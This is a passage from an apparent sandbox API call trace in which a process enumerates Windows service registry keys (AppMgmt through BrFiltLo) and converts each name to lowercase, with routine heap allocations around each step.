hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0223.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0223.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.576] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0223.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0223.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.576] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0223.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0223.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.576] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0223.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0223.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.576] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0223.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0223.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.577] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0223.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f16e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0223.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.577] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0223.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0223.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.577] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0223.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0223.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.577] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0223.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0223.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a48, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0223.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.578] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0223.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0223.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.578] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0223.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0223.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.578] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0223.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0223.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.578] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0223.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0223.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.579] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0223.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0223.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.579] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0223.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0223.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.579] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0223.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0223.579] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.579] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.580] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0223.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0223.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.580] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0223.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0223.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.580] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0223.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0223.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.580] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.580] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0223.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.580] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0223.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.581] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.581] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0223.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.581] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", 